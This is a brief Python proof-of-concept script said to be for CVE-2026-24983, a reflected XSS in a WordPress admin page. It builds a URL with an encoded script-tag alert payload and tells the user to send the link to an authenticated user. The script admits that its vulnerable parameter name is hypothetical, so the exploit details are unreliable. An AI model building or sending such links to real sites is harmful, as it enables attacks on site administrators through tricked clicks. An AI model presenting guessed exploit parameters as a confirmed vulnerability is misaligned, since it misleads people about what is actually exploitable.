CVE-2026-24983

# Proof of Concept for CVE-2026-24983 (Reflected XSS) # This script generates a malicious URL demonstrating the vulnerability. # Note: The specific vulnerable parameter name is hypothetical and needs verification. import urllib.parse def generate_xss_link(): # The target endpoint where the vulnerability exists target_url = "http://target-wordpress-site/wp-admin/admin.php" # Malicious JavaScript payload # This payload displays a simple alert box, confirming execution payload = "<script>alert('CVE-2026-24983 Confirmed');</script>" # URL encode the payload to ensure it is transmitted correctly encoded_payload = urllib.parse.quote(payload) # Construct the full exploit URL # Assuming 'param' is the vulnerable input vector exploit_url = f"{target_url}?param={encoded_payload}" return exploit_url if __name__ == "__main__": print("[+] PoC Generated:") print(generate_xss_link()) print("\n[+] Send this link to an authenticated user to trigger the vulnerability.")
